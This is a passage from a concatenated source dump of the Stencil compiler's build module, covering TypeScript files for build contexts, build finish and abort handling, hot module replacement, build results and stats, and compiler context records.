OutputOptions, config: d.ValidatedConfig, entryModules: d.EntryModule[], ): Promise => { if (build == null) { return null; } const { output }: { output: [OutputChunk, ...(OutputChunk | OutputAsset)[]] } = await build.generate(options); return output.map((chunk: OutputChunk | OutputAsset) => { if (chunk.type === 'chunk') { const isCore = Object.keys(chunk.modules).some((m) => m.includes(STENCIL_CORE_ID)); return { type: 'chunk', fileName: chunk.fileName, map: chunk.map ? { ...chunk.map, sourcesContent: chunk.map.sourcesContent || [], } : undefined, code: chunk.code, moduleFormat: options.format, entryKey: chunk.name, imports: chunk.imports, isEntry: !!chunk.isEntry, isComponent: !!chunk.isEntry && entryModules.some((m) => m.entryKey === chunk.name), isBrowserLoader: chunk.isEntry && chunk.name === config.fsNamespace, isIndex: chunk.isEntry && chunk.name === 'index', isCore, }; } else { return { type: 'asset', fileName: chunk.fileName, content: chunk.source as any, }; } }); }; ================================================ FILE: src/compiler/build/build-ctx.ts ================================================ import { hasError, hasWarning, result } from '@utils'; import type * as d from '../../declarations'; import { validateConfig } from '../config/validate-config'; /** * A new BuildCtx object is created for every build * and rebuild. */ export class BuildContext implements d.BuildCtx { buildId = -1; buildMessages: string[] = []; buildResults: d.CompilerBuildResults = null; bundleBuildCount = 0; collections: d.CollectionCompilerMeta[] = []; completedTasks: d.BuildTask[] = []; compilerCtx: d.CompilerCtx; components: d.ComponentCompilerMeta[] = []; componentGraph = new Map(); config: d.ValidatedConfig; data: any = {}; buildStats?: result.Result = undefined; esmBrowserComponentBundle: d.BundleModule[]; esmComponentBundle: d.BundleModule[]; es5ComponentBundle: d.BundleModule[]; systemComponentBundle: d.BundleModule[]; commonJsComponentBundle: d.BundleModule[]; diagnostics: d.Diagnostic[] = []; dirsAdded: string[] = []; dirsDeleted: string[] = []; entryModules: d.EntryModule[] = []; filesAdded: string[] = []; filesChanged: string[] = []; filesDeleted: string[] = []; filesUpdated: string[] = []; filesWritten: string[] = []; globalStyle: string = undefined; hasConfigChanges = false; hasFinished = false; hasHtmlChanges = false; hasPrintedResults = false; hasServiceWorkerChanges = false; hasScriptChanges = true; hasStyleChanges = true; hydrateAppFilePath: string = null; indexBuildCount = 0; indexDoc: Document = undefined; isRebuild = false; moduleFiles: d.Module[] = []; outputs: d.BuildOutput[] = []; packageJson: d.PackageJsonData = {}; packageJsonFilePath: string = null; pendingCopyTasks: Promise[] = []; requiresFullBuild = true; scriptsAdded: string[] = []; scriptsDeleted: string[] = []; startTime = Date.now(); styleBuildCount = 0; stylesPromise: Promise = null; stylesUpdated: d.BuildStyleUpdate[] = []; timeSpan: d.LoggerTimeSpan = null; timestamp: string; transpileBuildCount = 0; validateTypesPromise: Promise; constructor(config: d.Config, compilerCtx: d.CompilerCtx) { this.config = validateConfig(config, {}).config; this.compilerCtx = compilerCtx; this.buildId = ++this.compilerCtx.activeBuildId; this.debug = config.logger.debug.bind(config.logger); } start() { // get the build id from the incremented activeBuildId // print out a good message const msg = `${this.isRebuild ? 'rebuild' : 'build'}, ${this.config.fsNamespace}, ${ this.config.devMode ? 'dev' : 'prod' } mode, started`; const buildLog: d.BuildLog = { buildId: this.buildId, messages: [], progress: 0, }; this.compilerCtx.events.emit('buildLog', buildLog); // create a timespan for this build this.timeSpan = this.createTimeSpan(msg); // create a build timestamp for this build this.timestamp = getBuildTimestamp(); // debug log our new build this.debug(`start build, ${this.timestamp}`); const buildStart: d.CompilerBuildStart = { buildId: this.buildId, timestamp: this.timestamp, }; this.compilerCtx.events.emit('buildStart', buildStart); } createTimeSpan(msg: string, debug?: boolean) { if (!this.hasFinished || debug) { if (debug) { if (this.config.watch) { msg = `${this.config.logger.cyan('[' + this.buildId + ']')} ${msg}`; } } const timeSpan = this.config.logger.createTimeSpan(msg, debug, this.buildMessages); if (!debug && this.compilerCtx.events) { const buildLog: d.BuildLog = { buildId: this.buildId, messages: this.buildMessages, progress: getProgress(this.completedTasks), }; this.compilerCtx.events.emit('buildLog', buildLog); } return { duration: () => { return timeSpan.duration(); }, finish: (finishedMsg: string, color?: string, bold?: boolean, newLineSuffix?: boolean) => { if (!this.hasFinished || debug) { if (debug) { if (this.config.watch) { finishedMsg = `${this.config.logger.cyan('[' + this.buildId + ']')} ${finishedMsg}`; } } timeSpan.finish(finishedMsg, color, bold, newLineSuffix); if (!debug) { const buildLog: d.BuildLog = { buildId: this.buildId, messages: this.buildMessages.slice(), progress: getProgress(this.completedTasks), }; this.compilerCtx.events.emit('buildLog', buildLog); } } return timeSpan.duration(); }, }; } return { duration() { return 0; }, finish() { return 0; }, }; } debug(msg: string) { this.config.logger.debug(msg); } get hasError() { return hasError(this.diagnostics); } get hasWarning() { return hasWarning(this.diagnostics); } progress(t: d.BuildTask) { this.completedTasks.push(t); } async validateTypesBuild() { if (this.hasError) { // no need to wait on this one since // we already aborted this build return; } if (!this.validateTypesPromise) { // there is no pending validate types promise // so it probably already finished // so no need to wait on anything return; } if (!this.config.watch) { // this is not a watch build, so we need to make // sure that the type validation has finished this.debug(`build, non-watch, waiting on validateTypes`); await this.validateTypesPromise; this.debug(`build, non-watch, finished waiting on validateTypes`); } } } /** * Generate a timestamp of the format `YYYY-MM-DDThh:mm:ss`, using the number of seconds that have elapsed since * January 01, 1970, and the time this function was called * @returns the generated timestamp */ export const getBuildTimestamp = () => { const d = new Date(); // YYYY-MM-DDThh:mm:ss let timestamp = d.getUTCFullYear() + '-'; timestamp += ('0' + (d.getUTCMonth() + 1)).slice(-2) + '-'; timestamp += ('0' + d.getUTCDate()).slice(-2) + 'T'; timestamp += ('0' + d.getUTCHours()).slice(-2) + ':'; timestamp += ('0' + d.getUTCMinutes()).slice(-2) + ':'; timestamp += ('0' + d.getUTCSeconds()).slice(-2); return timestamp; }; const getProgress = (completedTasks: d.BuildTask[]) => { let progressIndex = 0; const taskKeys = Object.keys(ProgressTask); taskKeys.forEach((taskKey, index) => { if (completedTasks.includes((ProgressTask as any)[taskKey])) { progressIndex = index; } }); return (progressIndex + 1) / taskKeys.length; }; export const ProgressTask = { emptyOutputTargets: {}, transpileApp: {}, generateStyles: {}, generateOutputTargets: {}, validateTypesBuild: {}, writeBuildFiles: {}, }; ================================================ FILE: src/compiler/build/build-finish.ts ================================================ import { isFunction, isRemoteUrl, relative } from '@utils'; import type * as d from '../../declarations'; import { generateBuildResults } from './build-results'; import { generateBuildStats, writeBuildStats } from './build-stats'; /** * Finish a build as having completed successfully * @param buildCtx the build context for the build being aborted * @returns the build results */ export const buildFinish = async (buildCtx: d.BuildCtx): Promise => { const results = await buildDone(buildCtx.config, buildCtx.compilerCtx, buildCtx, false); const buildLog: d.BuildLog = { buildId: buildCtx.buildId, messages: buildCtx.buildMessages.slice(), progress: 1, }; buildCtx.compilerCtx.events.emit('buildLog', buildLog); return results; }; /** * Finish a build early due to failure. During the build process, a fatal error has occurred where the compiler cannot * continue further * @param buildCtx the build context for the build being aborted * @returns the build results */ export const buildAbort = (buildCtx: d.BuildCtx): Promise => { return buildDone(buildCtx.config, buildCtx.compilerCtx, buildCtx, true); }; /** * Mark a build as done * @param config the Stencil configuration used for the build * @param compilerCtx the compiler context associated with the build * @param buildCtx the build context associated with the build to mark as done * @param aborted true if the build ended early due to failure, false otherwise * @returns the build results */ const buildDone = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, aborted: boolean, ): Promise => { if (buildCtx.hasFinished && buildCtx.buildResults) { // we've already marked this build as finished and // already created the build results, just return these return buildCtx.buildResults; } // create the build results data buildCtx.buildResults = generateBuildResults(config, compilerCtx, buildCtx); // After the build results are available on the buildCtx, call the stats and set it. // We will use this later to write the files. buildCtx.buildStats = generateBuildStats(config, buildCtx); await writeBuildStats(config, buildCtx.buildStats); buildCtx.debug(`${aborted ? 'aborted' : 'finished'} build, ${buildCtx.buildResults.duration}ms`); // log any errors/warnings if (!buildCtx.hasFinished) { // haven't set this build as finished yet if (!buildCtx.hasPrintedResults) { cleanDiagnosticsRelativePath(config, buildCtx.buildResults.diagnostics); config.logger.printDiagnostics(buildCtx.buildResults.diagnostics); } const hasChanges = buildCtx.hasScriptChanges || buildCtx.hasStyleChanges; if (buildCtx.isRebuild && hasChanges && buildCtx.buildResults.hmr && !aborted) { // this is a rebuild, and we've got hmr data // and this build hasn't been aborted logHmr(config.logger, buildCtx.buildResults.hmr); } // create a nice pretty message stating what happened const buildText = buildCtx.isRebuild ? 'rebuild' : 'build'; const watchText = config.watch ? ', watching for changes...' : ''; let buildStatus = 'finished'; let statusColor = 'green'; if (buildCtx.hasError) { // gosh darn, build had errors // ಥ_ಥ buildStatus = 'failed'; statusColor = 'red'; } else { // successful build! // ┏(°.°)┛ ┗(°.°)┓ ┗(°.°)┛ ┏(°.°)┓ compilerCtx.changedFiles.clear(); compilerCtx.hasSuccessfulBuild = true; buildCtx.buildResults.hasSuccessfulBuild = true; } // print out the time it took to build // and add the duration to the build results if (!buildCtx.hasPrintedResults) { buildCtx.timeSpan.finish(`${buildText} ${buildStatus}${watchText}`, statusColor, true, true); buildCtx.hasPrintedResults = true; } // emit a buildFinish event for anyone who cares compilerCtx.events.emit('buildFinish', buildCtx.buildResults); // write all of our logs to disk if config'd to do so // do this even if there are errors or not the active build if (isFunction(config.logger.writeLogs)) { config.logger.writeLogs(buildCtx.isRebuild); } } // it's official, this build has finished buildCtx.hasFinished = true; if (!config.watch) { compilerCtx.reset(); if (global.gc) { buildCtx.debug(`triggering forced gc`); global.gc(); buildCtx.debug(`forced gc finished`); } } return buildCtx.buildResults; }; /** * In a Hot Module Replacement (HMR) context, log what changed between builds * @param logger the instance of the logger to report what's changed * @param hmr the HMR data, which includes what's changed between builds */ const logHmr = (logger: d.Logger, hmr: d.HotModuleReplacement): void => { if (hmr.componentsUpdated) { cleanupUpdateMsg(logger, `updated component`, hmr.componentsUpdated); } if (hmr.inlineStylesUpdated) { const inlineStyles = hmr.inlineStylesUpdated .map((s) => s.styleTag) .reduce((arr, v) => { if (!arr.includes(v)) { arr.push(v); } return arr; }, [] as string[]); cleanupUpdateMsg(logger, `updated style`, inlineStyles); } if (hmr.externalStylesUpdated) { cleanupUpdateMsg(logger, `updated stylesheet`, hmr.externalStylesUpdated); } if (hmr.imagesUpdated) { cleanupUpdateMsg(logger, `updated image`, hmr.imagesUpdated); } }; const cleanupUpdateMsg = (logger: d.Logger, msg: string, fileNames: string[]) => { if (fileNames.length > 0) { let fileMsg = ''; if (fileNames.length > 7) { const remaining = fileNames.length - 6; fileNames = fileNames.slice(0, 6); fileMsg = fileNames.join(', ') + `, +${remaining} others`; } else { fileMsg = fileNames.join(', '); } if (fileNames.length > 1) { msg += 's'; } logger.info(`${msg}: ${logger.cyan(fileMsg)}`); } }; /** * Update the relative file path for diagnostics. The updates are done in place. * @param config the Stencil configuration associated with the current build * @param diagnostics the diagnostics to update */ const cleanDiagnosticsRelativePath = (config: d.Config, diagnostics: ReadonlyArray): void => { diagnostics.forEach((diagnostic) => { if (!diagnostic.relFilePath && diagnostic.absFilePath && !isRemoteUrl(diagnostic.absFilePath) && config.rootDir) { diagnostic.relFilePath = relative(config.rootDir, diagnostic.absFilePath); } }); }; ================================================ FILE: src/compiler/build/build-hmr.ts ================================================ import { isGlob, isOutputTargetWww, normalizePath, sortBy } from '@utils'; import { minimatch } from 'minimatch'; import { basename } from 'path'; import type * as d from '../../declarations'; import { getScopeId } from '../style/scope-css'; export const generateHmr = (config: d.Config, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => { if (config.devServer?.reloadStrategy == null) { return null; } const hmr: d.HotModuleReplacement = { reloadStrategy: config.devServer.reloadStrategy, versionId: Date.now().toString().substring(6) + '' + Math.round(Math.random() * 89999 + 10000), }; if (buildCtx.scriptsAdded.length > 0) { hmr.scriptsAdded = buildCtx.scriptsAdded.slice(); } if (buildCtx.scriptsDeleted.length > 0) { hmr.scriptsDeleted = buildCtx.scriptsDeleted.slice(); } const excludeHmr = excludeHmrFiles(config, config.devServer.excludeHmr, buildCtx.filesChanged); if (excludeHmr.length > 0) { hmr.excludeHmr = excludeHmr.slice(); } if (buildCtx.hasHtmlChanges) { hmr.indexHtmlUpdated = true; } if (buildCtx.hasServiceWorkerChanges) { hmr.serviceWorkerUpdated = true; } const outputTargetsWww = config.outputTargets.filter(isOutputTargetWww); const componentsUpdated = getComponentsUpdated(compilerCtx, buildCtx); if (componentsUpdated) { hmr.componentsUpdated = componentsUpdated; } if (Object.keys(buildCtx.stylesUpdated).length > 0) { hmr.inlineStylesUpdated = sortBy( buildCtx.stylesUpdated.map((s) => { return { styleId: getScopeId(s.styleTag, s.styleMode), styleTag: s.styleTag, styleText: s.styleText, } as d.HmrStyleUpdate; }), (s) => s.styleId, ); } const externalStylesUpdated = getExternalStylesUpdated(buildCtx, outputTargetsWww); if (externalStylesUpdated) { hmr.externalStylesUpdated = externalStylesUpdated; } const externalImagesUpdated = getImagesUpdated(buildCtx, outputTargetsWww); if (externalImagesUpdated) { hmr.imagesUpdated = externalImagesUpdated; } return hmr; }; const getComponentsUpdated = (compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => { // find all of the components that would be affected from the file changes if (!buildCtx.filesChanged) { return null; } const filesToLookForImporters = buildCtx.filesChanged.filter((f) => { return f.endsWith('.ts') || f.endsWith('.tsx') || f.endsWith('.js') || f.endsWith('.jsx'); }); if (filesToLookForImporters.length === 0) { return null; } const changedScriptFiles: string[] = []; const checkedFiles = new Set(); const allModuleFiles = buildCtx.moduleFiles.filter((m) => m.localImports && m.localImports.length > 0); while (filesToLookForImporters.length > 0) { const scriptFile = filesToLookForImporters.shift(); addTsFileImporters(allModuleFiles, filesToLookForImporters, checkedFiles, changedScriptFiles, scriptFile); } const tags = changedScriptFiles.reduce((tags, changedTsFile) => { const moduleFile = compilerCtx.moduleMap.get(changedTsFile); if (moduleFile != null) { moduleFile.cmps.forEach((cmp) => { if (typeof cmp.tagName === 'string') { if (!tags.includes(cmp.tagName)) { tags.push(cmp.tagName); } } }); } return tags; }, [] as string[]); if (tags.length === 0) { return null; } return tags.sort(); }; const addTsFileImporters = ( allModuleFiles: d.Module[], filesToLookForImporters: string[], checkedFiles: Set, changedScriptFiles: string[], scriptFile: string, ) => { if (!changedScriptFiles.includes(scriptFile)) { // add it to our list of files to transpile changedScriptFiles.push(scriptFile); } if (checkedFiles.has(scriptFile)) { // already checked this file return; } checkedFiles.add(scriptFile); // get all the ts files that import this ts file const tsFilesThatImportsThisTsFile = allModuleFiles.reduce((arr, moduleFile) => { moduleFile.localImports.forEach((localImport) => { let checkFile = localImport; if (checkFile === scriptFile) { arr.push(moduleFile.sourceFilePath); return; } checkFile = localImport + '.tsx'; if (checkFile === scriptFile) { arr.push(moduleFile.sourceFilePath); return; } checkFile = localImport + '.ts'; if (checkFile === scriptFile) { arr.push(moduleFile.sourceFilePath); return; } checkFile = localImport + '.js'; if (checkFile === scriptFile) { arr.push(moduleFile.sourceFilePath); return; } }); return arr; }, [] as string[]); // add all the files that import this ts file to the list of ts files we need to look through tsFilesThatImportsThisTsFile.forEach((tsFileThatImportsThisTsFile) => { // if we add to this array, then the while look will keep working until it's empty filesToLookForImporters.push(tsFileThatImportsThisTsFile); }); }; const getExternalStylesUpdated = (buildCtx: d.BuildCtx, outputTargetsWww: d.OutputTargetWww[]) => { if (!buildCtx.isRebuild || outputTargetsWww.length === 0) { return null; } const cssFiles = buildCtx.filesWritten.filter((f) => f.endsWith('.css')); if (cssFiles.length === 0) { return null; } return cssFiles.map((cssFile) => basename(cssFile)).sort(); }; const getImagesUpdated = (buildCtx: d.BuildCtx, outputTargetsWww: d.OutputTargetWww[]) => { if (outputTargetsWww.length === 0) { return null; } const imageFiles = buildCtx.filesChanged.reduce((arr, filePath) => { if (IMAGE_EXT.some((ext) => filePath.toLowerCase().endsWith(ext))) { const fileName = basename(filePath); if (!arr.includes(fileName)) { arr.push(fileName); } } return arr; }, []); if (imageFiles.length === 0) { return null; } return imageFiles.sort(); }; /** * Determine a list of files (if any) which should be excluded from HMR updates. * * @param config a user-supplied config * @param excludeHmr a list of glob patterns that should be used to determine * whether to exclude a file or not (a file will be excluded if it matches one * @param filesChanged an array of files which are changed in the HMR update * currently under consideration * @returns a sorted list of files to exclude */ const excludeHmrFiles = (config: d.Config, excludeHmr: string[], filesChanged: string[]): string[] => { const excludeFiles: string[] = []; if (!excludeHmr || excludeHmr.length === 0) { return excludeFiles; } excludeHmr.forEach((excludeHmr) => { return filesChanged .map((fileChanged) => { let shouldExclude = false; if (isGlob(excludeHmr)) { shouldExclude = minimatch(fileChanged, excludeHmr); } else { shouldExclude = normalizePath(excludeHmr) === normalizePath(fileChanged); } if (shouldExclude) { config.logger.debug(`excludeHmr: ${fileChanged}`); excludeFiles.push(basename(fileChanged)); } return shouldExclude; }) .some((r) => r); }); return excludeFiles.sort(); }; const IMAGE_EXT = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.ico', '.svg']; ================================================ FILE: src/compiler/build/build-results.ts ================================================ import { fromEntries, hasError, isString, normalizeDiagnostics } from '@utils'; import type * as d from '../../declarations'; import { getBuildTimestamp } from './build-ctx'; import { generateHmr } from './build-hmr'; export const generateBuildResults = (config: d.Config, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => { const componentGraph = buildCtx.componentGraph ? fromEntries(buildCtx.componentGraph.entries()) : undefined; const buildResults: d.CompilerBuildResults = { buildId: buildCtx.buildId, diagnostics: normalizeDiagnostics(compilerCtx, buildCtx.diagnostics), dirsAdded: buildCtx.dirsAdded.slice().sort(), dirsDeleted: buildCtx.dirsDeleted.slice().sort(), duration: Date.now() - buildCtx.startTime, filesAdded: buildCtx.filesAdded.slice().sort(), filesChanged: buildCtx.filesChanged.slice().sort(), filesDeleted: buildCtx.filesDeleted.slice().sort(), filesUpdated: buildCtx.filesUpdated.slice().sort(), hasError: hasError(buildCtx.diagnostics), hasSuccessfulBuild: compilerCtx.hasSuccessfulBuild, isRebuild: buildCtx.isRebuild, namespace: config.namespace, outputs: compilerCtx.fs.getBuildOutputs(), rootDir: config.rootDir, srcDir: config.srcDir, timestamp: getBuildTimestamp(), componentGraph, }; const hmr = generateHmr(config, compilerCtx, buildCtx); if (hmr != null) { buildResults.hmr = hmr; } if (isString(buildCtx.hydrateAppFilePath)) { buildResults.hydrateAppFilePath = buildCtx.hydrateAppFilePath; } compilerCtx.lastBuildResults = Object.assign({}, buildResults as any); return buildResults; }; ================================================ FILE: src/compiler/build/build-stats.ts ================================================ import { byteSize, isOutputTargetStats, result, sortBy } from '@utils'; import type * as d from '../../declarations'; /** * Generates the Build Stats from the buildCtx. Writes any files to the file system. * @param config the project build configuration * @param buildCtx An instance of the build which holds the details about the build * @returns CompilerBuildStats or an Object including diagnostics. */ export function generateBuildStats( config: d.ValidatedConfig, buildCtx: d.BuildCtx, ): result.Result { // TODO(STENCIL-461): Investigate making this return only a single type const buildResults = buildCtx.buildResults; try { if (buildResults.hasError) { return result.err({ diagnostics: buildResults.diagnostics, }); } else { const stats: d.CompilerBuildStats = { timestamp: buildResults.timestamp, compiler: { name: config.sys.name, version: config.sys.version, }, app: { namespace: config.namespace, fsNamespace: config.fsNamespace, components: Object.keys(buildResults.componentGraph ?? {}).length, entries: Object.keys(buildResults.componentGraph ?? {}).length, bundles: buildResults.outputs.reduce((total, en) => total + en.files.length, 0), outputs: getAppOutputs(config, buildResults), }, options: { minifyJs: !!config.minifyJs, minifyCss: !!config.minifyCss, hashFileNames: !!config.hashFileNames, hashedFileNameLength: config.hashedFileNameLength, buildEs5: !!config.buildEs5, }, formats: { esmBrowser: sanitizeBundlesForStats(buildCtx.esmBrowserComponentBundle), esm: sanitizeBundlesForStats(buildCtx.esmComponentBundle), es5: sanitizeBundlesForStats(buildCtx.es5ComponentBundle), system: sanitizeBundlesForStats(buildCtx.systemComponentBundle), commonjs: sanitizeBundlesForStats(buildCtx.commonJsComponentBundle), }, components: getComponentsFileMap(config, buildCtx), entries: buildCtx.entryModules, componentGraph: buildResults.componentGraph ?? {}, sourceGraph: getSourceGraph(config, buildCtx), rollupResults: buildCtx.rollupResults ?? { modules: [] }, collections: getCollections(config, buildCtx), }; return result.ok(stats); } } catch (e: unknown) { const diagnostic: d.Diagnostic = { level: `error`, lines: [], messageText: `Generate Build Stats Error: ` + e, type: `build`, }; return result.err({ diagnostics: [diagnostic], }); } } /** * Writes the files from the stats config to the file system * @param config the project build configuration * @param data the information to write out to disk (as specified by each stats output target specified in the provided * config) */ export async function writeBuildStats( config: d.ValidatedConfig, data: result.Result, ): Promise { const statsTargets = config.outputTargets.filter(isOutputTargetStats); await result.map(data, async (compilerBuildStats) => { await Promise.all( statsTargets.map(async (outputTarget) => { if (outputTarget.file) { const result = await config.sys.writeFile(outputTarget.file, JSON.stringify(compilerBuildStats, null, 2)); if (result.error) { config.logger.warn([`Stats failed to write file to ${outputTarget.file}`]); } } }), ); }); } function sanitizeBundlesForStats(bundleArray: ReadonlyArray): ReadonlyArray { if (!bundleArray) { return []; } return bundleArray.map((bundle) => { return { key: bundle.entryKey, components: bundle.cmps.map((c) => c.tagName), bundleId: bundle.output.bundleId, fileName: bundle.output.fileName, imports: bundle.rollupResult.imports, // code: bundle.rollupResult.code, // (use this to debug) // Currently, this number is inaccurate vs what seems to be on disk. originalByteSize: byteSize(bundle.rollupResult.code), }; }); } function getSourceGraph(config: d.ValidatedConfig, buildCtx: d.BuildCtx) { const sourceGraph: d.BuildSourceGraph = {}; sortBy(buildCtx.moduleFiles, (m) => m.sourceFilePath).forEach((moduleFile) => { const key = relativePath(config, moduleFile.sourceFilePath); sourceGraph[key] = moduleFile.localImports.map((localImport) => relativePath(config, localImport)).sort(); }); return sourceGraph; } function getAppOutputs(config: d.ValidatedConfig, buildResults: d.CompilerBuildResults) { return buildResults.outputs.map((output) => { return { name: output.type, files: output.files.length, generatedFiles: output.files.map((file) => relativePath(config, file)), }; }); } function getComponentsFileMap(config: d.ValidatedConfig, buildCtx: d.BuildCtx) { return buildCtx.components.map((component) => { return { tag: component.tagName, path: relativePath(config, component.jsFilePath), source: relativePath(config, component.sourceFilePath), elementRef: component.elementRef, componentClassName: component.componentClassName, assetsDirs: component.assetsDirs, dependencies: component.dependencies, dependents: component.dependents, directDependencies: component.directDependencies, directDependents: component.directDependents, docs: component.docs, encapsulation: component.encapsulation, excludeFromCollection: component.excludeFromCollection, events: component.events, internal: component.internal, listeners: component.listeners, methods: component.methods, potentialCmpRefs: component.potentialCmpRefs, properties: component.properties, shadowDelegatesFocus: component.shadowDelegatesFocus, states: component.states, }; }); } function getCollections(config: d.ValidatedConfig, buildCtx: d.BuildCtx): d.CompilerBuildStatCollection[] { return buildCtx.collections .map((c) => { return { name: c.collectionName, source: relativePath(config, c.moduleDir), tags: c.moduleFiles.map((m) => m.cmps.map((cmp: d.ComponentCompilerMeta) => cmp.tagName)).sort(), }; }) .sort((a, b) => { if (a.name < b.name) return -1; if (a.name > b.name) return 1; return 0; }); } function relativePath(config: d.ValidatedConfig, file: string) { return config.sys.normalizePath(config.sys.platformPath.relative(config.rootDir, file)); } ================================================ FILE: src/compiler/build/build.ts ================================================ import { createDocument } from '@stencil/core/mock-doc'; import { catchError, isString, readPackageJson } from '@utils'; import ts from 'typescript'; import type * as d from '../../declarations'; import { generateOutputTargets } from '../output-targets'; import { emptyOutputTargets } from '../output-targets/empty-dir'; import { generateGlobalStyles } from '../style/global-styles'; import { runTsProgram, validateTypesAfterGeneration } from '../transpile/run-program'; import { buildAbort, buildFinish } from './build-finish'; import { writeBuild } from './write-build'; export const build = async ( config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx, tsBuilder: ts.BuilderProgram, ) => { try { // reset process.cwd() for 3rd-party plugins process.chdir(config.rootDir); // empty the directories on the first build await emptyOutputTargets(config, compilerCtx, buildCtx); if (buildCtx.hasError) return buildAbort(buildCtx); if (config.srcIndexHtml) { const indexSrcHtml = await compilerCtx.fs.readFile(config.srcIndexHtml); if (isString(indexSrcHtml)) { buildCtx.indexDoc = createDocument(indexSrcHtml); } } await readPackageJson(config, compilerCtx, buildCtx); if (buildCtx.hasError) return buildAbort(buildCtx); // run typescript program const tsTimeSpan = buildCtx.createTimeSpan('transpile started'); const emittedDts = await runTsProgram(config, compilerCtx, buildCtx, tsBuilder); tsTimeSpan.finish('transpile finished'); if (buildCtx.hasError) return buildAbort(buildCtx); // generate types and validate AFTER components.d.ts is written const { hasTypesChanged, needsRebuild } = await validateTypesAfterGeneration( config, compilerCtx, buildCtx, tsBuilder, emittedDts, ); if (buildCtx.hasError) return buildAbort(buildCtx); if (needsRebuild || (config.watch && hasTypesChanged)) { // Abort and signal that a rebuild is needed: // - needsRebuild: components.d.ts was just generated, need fresh TS program // - watch mode with types changed: let watch trigger rebuild return null; } // preprocess and generate styles before any outputTarget starts buildCtx.stylesPromise = generateGlobalStyles(config, compilerCtx, buildCtx); if (buildCtx.hasError) return buildAbort(buildCtx); // create outputs await generateOutputTargets(config, compilerCtx, buildCtx); if (buildCtx.hasError) return buildAbort(buildCtx); // write outputs await buildCtx.stylesPromise; await writeBuild(config, compilerCtx, buildCtx); } catch (e: any) { // ¯\_(ツ)_/¯ catchError(buildCtx.diagnostics, e); } // TODO // clear changed files compilerCtx.changedFiles.clear(); // return what we've learned today return buildFinish(buildCtx); }; ================================================ FILE: src/compiler/build/compiler-ctx.ts ================================================ import { join, noop, normalizePath } from '@utils'; import { basename, dirname, extname } from 'path'; import type * as d from '../../declarations'; import { buildEvents } from '../events'; import { InMemoryFileSystem } from '../sys/in-memory-fs'; /** * The CompilerCtx is a persistent object that's reused throughout * all builds and rebuilds. The data within this object is used * for in-memory caching, and can be reset, but the object itself * is always the same. */ export class CompilerContext implements d.CompilerCtx { version = 2; activeBuildId = -1; activeFilesAdded: string[] = []; activeFilesDeleted: string[] = []; activeFilesUpdated: string[] = []; activeDirsAdded: string[] = []; activeDirsDeleted: string[] = []; addWatchDir: (path: string) => void = noop; addWatchFile: (path: string) => void = noop; cache: d.Cache; cssModuleImports = new Map(); changedFiles = new Set(); changedModules = new Set(); collections: d.CollectionCompilerMeta[] = []; compilerOptions: any = null; events = buildEvents(); fs: InMemoryFileSystem; hasSuccessfulBuild = false; isActivelyBuilding = false; lastBuildResults: d.CompilerBuildResults = null; moduleMap: d.ModuleMap = new Map(); nodeMap = new WeakMap(); resolvedCollections = new Set(); rollupCache = new Map(); rollupCacheHydrate: any = null; rollupCacheLazy: any = null; rollupCacheNative: any = null; cachedGlobalStyle: string; styleModeNames = new Set(); worker: d.CompilerWorkerContext = null; reset() { this.cache.clear(); this.cssModuleImports.clear(); this.cachedGlobalStyle = null; this.collections.length = 0; this.compilerOptions = null; this.hasSuccessfulBuild = false; this.rollupCacheHydrate = null; this.rollupCacheLazy = null; this.rollupCacheNative = null; this.moduleMap.clear(); this.resolvedCollections.clear(); if (this.fs != null) { this.fs.clearCache(); } } } /** * Get a {@link d.Module} from the current compiler context which corresponds * to a supplied source file path. If a module record corresponding to the * supplied path is not yet allocated, create one, save it in the compiler * context, and then return the module record. * * @param compilerCtx the current compiler context * @param sourceFilePath the path for which we want a module record * @returns a module record corresponding to the supplied source file path */ export const getModuleLegacy = (compilerCtx: d.CompilerCtx, sourceFilePath: string): d.Module => { sourceFilePath = normalizePath(sourceFilePath); const moduleFile = compilerCtx.moduleMap.get(sourceFilePath); if (moduleFile != null) { return moduleFile; } else { const sourceFileDir = dirname(sourceFilePath); const sourceFileExt = extname(sourceFilePath); const sourceFileName = basename(sourceFilePath, sourceFileExt); const jsFilePath = join(sourceFileDir, sourceFileName + '.js'); const moduleFile: d.Module = { sourceFilePath: sourceFilePath, jsFilePath: jsFilePath, cmps: [], isExtended: false, isMixin: false, hasExportableMixins: false, coreRuntimeApis: [], outputTargetCoreRuntimeApis: {}, collectionName: null, dtsFilePath: null, excludeFromCollection: false, externalImports: [], hasVdomAttribute: false, hasVdomXlink: false, hasVdomClass: false, hasVdomFunctional: false, hasVdomKey: false, hasVdomListener: false, hasVdomPropOrAttr: false, hasVdomRef: false, hasVdomRender: false, hasVdomStyle: false, hasVdomText: false, htmlAttrNames: [], htmlTagNames: [], htmlParts: [], isCollectionDependency: false, isLegacy: false, localImports: [], functionalComponentDeps: [], originalCollectionComponentPath: null, originalImports: [], potentialCmpRefs: [], staticSourceFile: null, staticSourceFileText: '', sourceMapPath: null, sourceMapFileText: null, }; compilerCtx.moduleMap.set(sourceFilePath, moduleFile); return moduleFile; } }; /** * Reset a module record, mutating the supplied object to reset values to * defaults. * * @param moduleFile the module record to reset */ export const resetModuleLegacy = (moduleFile: d.Module) => { moduleFile.cmps.length = 0; moduleFile.coreRuntimeApis.length = 0; moduleFile.collectionName = null; moduleFile.dtsFilePath = null; moduleFile.excludeFromCollection = false; moduleFile.externalImports.length = 0; moduleFile.isCollectionDependency = false; moduleFile.localImports.length = 0; moduleFile.originalCollectionComponentPath = null; moduleFile.originalImports.length = 0; moduleFile.hasVdomXlink = false; moduleFile.hasVdomAttribute = false; moduleFile.hasVdomClass = false; moduleFile.hasVdomFunctional = false; moduleFile.hasVdomKey = false; moduleFile.hasVdomListener = false; moduleFile.hasVdomRef = false; moduleFile.hasVdomRender = false; moduleFile.hasVdomStyle = false; moduleFile.hasVdomText = false; moduleFile.htmlAttrNames.length = 0; moduleFile.htmlTagNames.length = 0; moduleFile.potentialCmpRefs.length = 0; }; ================================================ FILE: src/compiler/build/full-build.ts ================================================ import ts from 'typescript'; import type * as d from '../../declarations'; import { createTsBuildProgram } from '../transpile/create-build-program'; import { build } from './build'; import { BuildContext } from './build-ctx'; /** * Build a callable function to perform a full build of a Stencil project * @param config a Stencil configuration to 